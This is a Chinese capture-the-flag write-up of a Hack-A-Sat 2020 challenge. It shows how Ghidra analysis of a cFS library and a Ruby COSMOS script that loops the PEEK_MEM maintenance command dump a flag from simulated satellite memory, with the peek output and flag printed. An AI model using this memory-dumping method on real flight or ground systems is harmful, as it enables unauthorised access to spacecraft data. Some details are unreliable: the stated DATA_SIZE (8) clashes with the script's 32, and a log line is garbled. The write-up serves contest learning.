国家太空安全是国家安全在空间领域的表现。随着太空技术在政治、经济、军事、文化等各个领域的应用不断增加,太空已经成为国家赖以生存与发展的命脉之一,凝聚着巨大的国家利益,太空安全的重要性日益凸显[1]。而在信息化时代,太空安全与信息安全紧密地结合在一起。
2020年9月4日,美国白宫发布了首份针对太空网络空间安全的指令——《航天政策第5号令》,其为美国为数不多的关于卫星和相关系统网络安全的综合性政策,标志着美国对太空网络安全的重视程度达到新的高度。在此背景下,美国自2020年起,连续两年举办太空信息安全大赛“黑掉卫星(Hack-A-Sat)”,在《Hack-A-Sat太空信息安全挑战赛深度解析》一书中有详细介绍,本文介绍了Hack-A-Sat黑掉卫星挑战赛的利用维护接口dump内存(patch)这道赛题的解题过程。
题目介绍
We have an encrypted telemetry link from one of our satellites but we seem to have lost the encryption key. Thankfully we can still send unencrypted commands using our Cosmos interface (included). I’ve also included the last version of `kit_to.so` that was updated to the satellite. Can you help us restore communication with the satellite so we can see what error “flag” is being transmitted?
主办方告诉参赛者,这里有一条某颗卫星的加密遥测链路,但似乎丢失了加密密钥。幸运的是,仍然可以使用COSMOS接口发送未加密的命令。主办方还提供了该卫星使用的一个共享库文件kit_to.so,要求参赛者恢复与卫星的通信,以便可以看到正在传输什么错误的“flag”。
从题目描述中可以获取如下信息:
(1)与COSMOS有关,在下文会有这个系统的基本介绍。
(2)题目提供了两个文件,一个为kit_to.so,另一个为cosmos.tar.gz。
主办方给出了一个链接地址,使用netcat连接到题目给的链接后,会回显如下信息,从中可以发现本题目与cFS也有关,在下文也会有cFS系统的基本介绍。
Starting up CFS UDP Forwarding Service on tcp:172.17.0.1:19021
Booting…
Checking File System…
File System Check: Pass
CFE_PSP: Clearing out CFE CDS Shared memory segment.
CFE_PSP: Clearing out CFE Reset Shared memory segment.
CFE_PSP: Clearing out CFE User Reserved Shared memory segment.
2032-010-14:25:02.11734 POWER ON RESET due to Power Cycle (Power Cycle).
2032-010-14:25:02.11737 ES Startup: CFE_ES_Main in EARLY_INIT state
CFE_PSP: CFE_PSP_AttachExceptions Called
2032-010-14:25:02.11740 ES Startup: CFE_ES_Main entering CORE_STARTUP state
2032-010-14:25:02.11741 ES Startup: Starting Object Creation calls.
2032-010-14:25:02.11741 ES Startup: Calling CFE_ES_CDSEarlyInit
2032-010-14:25:02.11756 ES Startup: Calling CFE_EVS_EarlyInit
2032-010-14:25:02.11760 Event Log cleared following power-on reset
2032-010-14:25:02.11762 ES Startup: Calling CFE_SB_EarlyInit
2032-010-14:25:02.11779 SB internal message format: CCSDS Space Packet Protocol version 1
2032-010-14:25:02.11783 ES Startup: Calling CFE_TIME_EarlyInit
1980-012-14:03:20.00000 ES Startup: Calling CFE_TBL_EarlyInit
1980-012-14:03:20.00026 ES Startup: Calling CFE_FS_EarlyInit
1980-012-14:03:20.00042 ES Startup: Core App: CFE_EVS created. App ID: 0
EVS Port1 42/1/CFE_EVS 1: cFE EVS Initialized. cFE Version 6.7.1.0
EVS Port1 42/1/CFE_EVS 14: No subscribers for MsgId 0x808,sender CFE_EVS
1980-012-14:03:20.05079 ES Startup: Core App: CFE_SB created. App ID: 1
1980-012-14:03:20.05088 SB:Registered 4 events for filtering
EVS Port1 42/1/CFE_SB 1: cFE SB Initialized
EVS Port1 42/1/CFE_SB 14: No subscribers for MsgId 0x808,sender CFE_SB
1980-012-14:03:20.10107 ES Startup: Core App: CFE_ES created. App ID: 2
EVS Port1 42/1/CFE_ES 1: cFE ES Initialized
EVS Port1 42/1/CFE_SB 14: No subscribers for MsgId 0x808,sender CFE_ES
EVS Port1 42/1/CFE_ES 2: Versions:cFE 6.7.1.0, OSAL 5.0.1.0, PSP 1.4.0.0, chksm 918
EVS Port1 42/1/CFE_SB 14: No subscribers for MsgId 0x808,sender CFE_ES
EVS Port1 42/1/CFE_ES 91: Mission osk
EVS Port1 42/1/CFE_SB 14: No subscribers for MsgId 0x808,sender CFE_ES
EVS Port1 42/1/CFE_ES 92: Build 202201101424 root@425afb42bfc8
1980-012-14:03:20.15132 ES Startup: Core App: CFE_TIME created. App ID: 3
EVS Port1 42/1/CFE_TIME 1: cFE TIME Initialized
1980-012-14:03:20.20161 ES Startup: Core App: CFE_TBL created. App ID: 4
EVS Port1 42/1/CFE_TBL 1: cFE TBL Initialized. cFE Version 6.7.1.0
1980-012-14:03:20.25172 ES Startup: Finished ES CreateObject table entries.
1980-012-14:03:20.25177 ES Startup: CFE_ES_Main entering CORE_READY state
1980-012-14:03:20.25182 ES Startup: Opened ES App Startup file: /cf/cfe_es_startup.scr
1980-012-14:03:20.25230 ES Startup: Loading shared library: /cf/cfs_lib.so
CFS Lib Initialized. Version 2.2.0.01980-012-14:03:20.25299 ES Startup: Loading shared library: /cf/osk_app_lib.so
1980-012-14:03:20.25427 ES Startup: Loading shared library: /cf/expat_lib.so
EXPAT Library 2.1.0 Loaded
1980-012-14:03:20.25497 ES Startup: Loading file: /cf/kit_to.so, APP: KIT_TO
1980-012-14:03:20.25531 ES Startup: KIT_TO loaded and created
1980-012-14:03:20.25601 ES Startup: Loading file: /cf/kit_ci.so, APP: KIT_CI
1980-012-14:03:20.25627 ES Startup: KIT_CI loaded and created
EVS Port1 42/1/KIT_CI 100: KIT_CI Initialized. Version 1.0.0.0
1980-012-14:03:20.25684 ES Startup: Loading file: /cf/kit_sch.so, APP: KIT_SCH
1980-012-14:03:20.25720 ES Startup: KIT_SCH loaded and created
1980-012-14:03:20.25945 ES Startup: Loading file: /cf/mm.so, APP: MM
1980-012-14:03:20.25965 ES Startup: MM loaded and created
EVS Port1 42/1/MM 1: MM Initialized. Version 2.4.1.0
EVS Port1 42/1/KIT_SCH 15: Sucessfully Replaced table 0 using file /cf/kit_sch_msg_tbl.json
EVS Port1 42/1/KIT_TO 135: Removed 0 table packet entries
EVS Port1 42/1/KIT_TO 122: Loaded new table with 62 packets
EVS Port1 42/1/KIT_TO 15: Sucessfully Replaced table 0 using file /cf/kit_to_pkt_tbl.json
EVS Port1 42/1/KIT_TO 100: KIT_TO Initialized. Version 1.0.0.0
EVS Port1 42/1/KIT_SCH 15: Sucessfully Replaced table 1 using file /cf/kit_sch_sch_tbl.json
EVS Port1 42/1/KIT_SCH 101: KIT_SCH Initialized. Version 1.0.0.0
1980-012-14:03:20.30978 ES Startup: CFE_ES_Main entering APPS_INIT state
1980-012-14:03:20.30982 ES Startup: CFE_ES_Main entering OPERATIONAL state
EVS Port1 42/1/CFE_TIME 21: S较好 FLYWHEEL
EVS Port1 42/1/KIT_SCH 136: Multiple slots processed: slot = 0, count = 2
EVS Port1 42/1/KIT_SCH 136: Multiple slots processed: slot = 1, count = 2
EVS Port1 42/1/KIT_SCH 136: Multiple slots processed: slot = 1, count = 2
EVS Port1 42/1/KIT_SCH 137: Slots skipped: slot = 2, count = 3
EVS Port1 42/1/KIT_SCH 136: Multiple slots processed: slot = 1, count = 2
EVS Port1 42/1/KIT_SCH 134: Major Frame Sync too noisy (Slot 1). Disabling synchronization.
编译及测试
为了检验下载的源代码是否正确,可以先编译、测试一下。进入HAS2020的patch目录下,运行下面的命令构建Docker镜像。
sudo make build
使用如下命令进行测试,测试结果如图3-12所示。从图3-12中可以发现正确地获取到了flag值。
sudo make test
图3-12 patch测试结果
相关背景知识
1.cFS
cFS(core Flight Software),是NASA公布的一个独立于平台和项目的可重用软件框架,cFS适用于NASA很多飞行项目和嵌入式软件系统的重用,可以节约成本。它主要包括如下四部分组件。
- core Flight Executive(cFE):核心飞行执行环境。
- Operating System Abstraction Layer(OSAL):操作系统抽象层。
- Platform Support Package(PSP):平台支持组件。
- cFS Applications:cFS应用程序
其中,cFE是核心,它不仅提供了1个可移植的飞行软件执行环境,还提供了6个核心服务,如图3-13所示。
图3-13 cFE提供的6个核心服务
- Executive Service(ES):执行服务,用于管理软件系统,并创建一个应用程序应用环境。
- Software Bus Service(SB):软总线服务,提供一个应用程序发布、订阅消息服务。
- Event Service(EVS):事件服务,用于发送、过滤、记录事件消息。
- Table Service(TBL):表服务,管理应用程序配置相关的表。
- File Service(FS):文件服务。
- Time Service(TIME):时间服务。
cFS的常见应用如表3-4所示。
表3-4 cFS的常见应用
应用名称(缩写) |
功 能 |
CFDP(CF) |
从/向地面站接收/发送文件 |
CheckSum(CS) |
对内存、表和文件进行数据完整性校验 |
Command Ingest Lab(CI) |
通过UDP/IP端口接收CCSDS 遥测指令包 |
Telemetry Output Lab(TO) |
发送CCSDS遥测帧 |
续表
应用名称(缩写) |
功 能 |
Data Storage(DS) |
为下行链路记录板载的星务、工程和科学数据 |
File Manager(FM) |
为地面站提供文件管理界面 |
HouseKeeping(HK) |
从其它应用程序收集和重新打包遥测数据 |
Health and SAFety(HS) |
确保关键任务、后台服务等正常,检测CPU占用和计算CPU利用率 |
Limit Checker(LC) |
对阈值进行监测,在超出阈值时采取行动 |
Memory Dwell(MD) |
允许地面遥测远程内存位置的内容,主要用于调试 |
Memory Manager(MM) |
提供内存管理和dump的能力 |
Software Bus(SB) |
通过各种“插件”形式的网络协议传递软件总线消息 |
Scheduler(SCH) |
对板载活动进行调度 |
Stored Command(SC) |
板载指令序列 |
2.COSMOS
COSMOS是Ball Aerospace公司开发的一套指令和控制系统(又称C2系统),于2006年开始研发,2014年12月开源。COSMOS可用于控制嵌入式系统,这些系统可以是任何东西,从测试设备(电源、示波器、开关电源板、UPS设备等)到开发板(Arduinos、Raspberry Pi、Beaglebone等),再到卫星。
目前,COSMOS的最新版为V5版,其为B/S架构,依赖的软件包较多,安装部署较为复杂。本挑战题的解答使用经典的V4版即可。COSMOS V4架构如图3-14所示。
图3-14 COSMOSV4架构
图3-14中,测控指令服务端处于中心位置,COSMOS首先使用它通过不同的网络协议(TCP/IP、串行、UDP或自定义协议)连接到各类测控目标,然后通过实时指令和脚本工具部分发送测控指令,将从各类目标接收到的遥测数据送到实时遥测可视化工具部分进行显示,方便指挥决策。同时实时指令和脚本工具、实时遥测可视化工具支持通过配置文件与辅助工具、离线分析工具进行数据交互,方便运维管理和离线分析。图3-14中六边形框住的功能同时被OpenSatKit发行版使用。
3.OpenSatKit
经分析发现,HAS2020主办方提供的COSMOS是OpenSatKit 2.1套件中的一部分,没有必要单独安装COSMOS,使用OpenSatKit中的COSMOS即可。
OpenSatKit是为了降低cFS的学习、使用、开发门槛而集成的一个套件,该套件整合了3个工具——COSMOS、cFS、NASA的名为42的模拟器,可以说OpenSatKit是cFS的一个发行版,OpenSatKit包含的组件如图3-15所示。
图3-15 OpenSatKit包含的组件
题目解析
本题目提供了两个文件,一个为kit_to.so,另一个为cosmos.tar.gz(解压后为完整的COSMOS目录)。下面分析3.2.1节的回显信息。
首行的Starting up CFS UDP Forwarding Service on tcp:172.17.0.1:19021表明卫星端运行的软件系统为cFS。本行还表明了 CFS UDP Forwarding Service 在TCP的19021端口监听,其中172.17.0.1是Docker容器内部IP地址,需要根据实际情况修改为外部可访问的IP地址。
确定IP地址和端口后,根据 COSMOS 的使用手册,修改题目提供的COSMOS 目录下的 config/tools/cmd_tlm_server/cmd_tlm_server.txt文件,将下文中的IP地址和两个端口(一个读端口54321、一个写端口54321)修改为上一步确定的IP地址和端口。
INTERFACE LOCAL_CFS_INT tcpip_client_interface.rb 127.0.0.1 54321 54321 10 nil
由于笔者在本地就行测试,IP地址保留为127.0.0.1不变。修改后的内容为:
INTERFACE LOCAL_CFS_INT tcpip_client_interface.rb 127.0.0.1 19021 19021 10 nil
正常启动软件后,单击Command and Telemetry Server按钮,弹出如图3-16所示的窗口,单击OK,弹出如图3-17所示的Command and Telemetry Server窗口。
图3-16 Command and Telemetry Server Options窗口
图3-17 cFS Command and Telemetry Server窗口
若COSMOS正常连接到题目的challenge容器,图3-17中的两个Interface的连接状态Connected?应显示为true。
继续分析challenge的回显内容:
1980-012-14:03:20.25282 ES Startup: Loading file: /cf/kit_to.so, APP: KIT_TO
1980-012-14:03:20.25290 ES Startup: KIT_TO loaded and created
根据这两行的内容,结合cFS和COSMOS的相关知识,结合图3-15,推断这里的KIT_TO是cFS中的一个应用程序,在COSMOS中就是Targets界面中的KIT_TO。
下面对主办方提供的文件kit_to.so进行分析。这里使用Ghidra这个软件逆向工具对kit_to.so进行分析。用Ghidra打开kit_to.so后,发现kit_to.so包含了符号信息、调试信息,极大降低了逆向分析的难度。
由于题目要求找到传输的flag信息,非常快捷的方法就是寻找与flag相关的符号信息,符号信息中明显存在一个相关项KIT_TO_SendFlagPkt,双击该项,跳转到其对应的位置,如图3-18所示。
图3-18 kit_to.so中的KIT_TO_SendFlagPkt
Ghidra自动对其进行了反编译,得到如下的代码:
void KIT_TO_SendFlagPkt(void)
{
char *flag;
flag = getenv(“FLAG”);
if (flag == (char *)0x0) {
flag = {defaultdefaultdefaultdefaultdefaultdefa ultdefaultdefaultdefaultdefaultdefaultdefa ultdefaultdefaultdefaultdefaultdefaultdefa ultdefaultdefaultdefaultdefaultdefault}”;
}
memset(KitToFlagPkt.Flag,0,200);
strncpy(KitToFlagPkt.Flag,flag,200);
CFE_SB_TimeStampMsg(&KitToFlagPkt);
CFE_SB_SendMsg(&KitToFlagPkt);
return;
}
该段代码浅显易懂,函数KIT_TO_SendFlagPkt从环境变量中获取flag,若从环境变量中无法获取flag,则使用缺省的flag。这里为flag申请了200字节的内存空间。
在发送信息前,该函数通过strncpy(KitToFlagPkt.Flag, flag, 200)将flag存储在了KitToFlagPkt.Flag代表的某个地址上。找到这个具体的地址,对该地址后面的200字节进行内存转储就能够得到flag。
在题目的回显信息中有如下两行:
1980-012-14:03:20.25372 ES Startup: Loading file: /cf/mm.so, APP: MM
1980-012-14:03:20.25380 ES Startup: MM loaded and created
结合cFs的知识及表3-4可知,MM表示内存管理程序,其有个PEEK_MEM命令可以直接打印指定地址开始的内存内容。
打开COSMOS的Command Sender窗口,看看PEEK_MEM命令需要哪些参数,如图3-19所示。
图3-19 PEEK_MEM命令参数界面
前5行是CCSDS固定字段,不需要修改。剩下的参数有:
- DATA_SIZE:每次读取的比特数,可设置为8、16或32,这里每次打印单个字符,设置为8。若设置为16或32,会报内存未对齐的错误。
- MEM_TYPE:指定要读取的存储类型,这里为内存RAM,设置为1。
- PAD_16:用于结构填充,这里设置为0
- ADDR_OFFSET:相对符号地址的偏移量,若未设置符号地址,则为绝对地址。
- ADDR_SYMBOL_NAME:符号基址,设置为KitToFlagPkt。
5个参数中,只有ADDR_OFFSET待定,下面就来确定KitToFlagPkt.Flag相对KitToFlagPkt的偏移量。
在Ghidra的数据结构窗口中寻找相关数据结构,在kit_to_app.h下可找到数据结构KIT_TO_FlagPkt,双击打开,如图3-20所示。
图3-20 KIT_TO_FlagPkt数据结构图
由图3-20可知,Flag的偏移量为12字节。
打开COSMOS的Script Runner,编写如下的ruby脚本:
12.upto(212) { |off|
offset = off
cmd(“MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 32, MEM_TYPE 1, PAD_16 0, ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME ‘KitToFlagPkt'”)
}
脚本首行的12为flag在数据结构KIT_TO_FlagPkt中的偏移量,212=12+200,“upto”为ruby中的迭代语法。cmd中的各个参数值来自COSMOS的Command Sender窗口中的PEEK_MEM命令参数。
执行该脚本,终端将显示如下内容:
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C8C Size = 8 bits Data = 0x66
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C8D Size = 8 bits Data = 0x6C
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C8E Size = 8 bits Data = 0x61
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C8F Size = 8 bits Data = 0x67
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C90 Size = 8 bits Data = 0x7B
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C91 Size = 8 bits Data = 0x7A
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C92 Size = 8 bits Data = 0x75
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C93 Size = 8 bits Data = 0x6C
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C94 Size = 8 bits Data = 0x75
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C95 Size = 8 bits Data = 0x34
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C96 Size = 8 bits Data = 0x39
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C97 Size = 8 bits Data = 0x32
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C98 Size = 8 bits Data = 0x32
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C99 Size = 8 bits Data = 0x35
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C9A Size = 8 bits Data = 0x64
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C9B Size = 8 bits Data = 0x65
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C9C Size = 8 bits Data = 0x6C
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C9D Size = 8 bits Data = 0x74
EVS Port1 42/1/MM 7: Peek Command: Addr = 0xF3050C9E Size = 8 bits Data = 0x61
……(省略的内容)
将每行最后的十六进制数转换成字符,就得到了flag。
flag{zulu49225delta:GG1EnNVMK3-hPvlNKAdEJxcujvp9WK4rEchuEdlDp3yv_Wh_uvB5ehGq-fyRowvwkWpdAMTKbidqhK4JhFsaz1k}
文章来自:https://www.freebuf.com/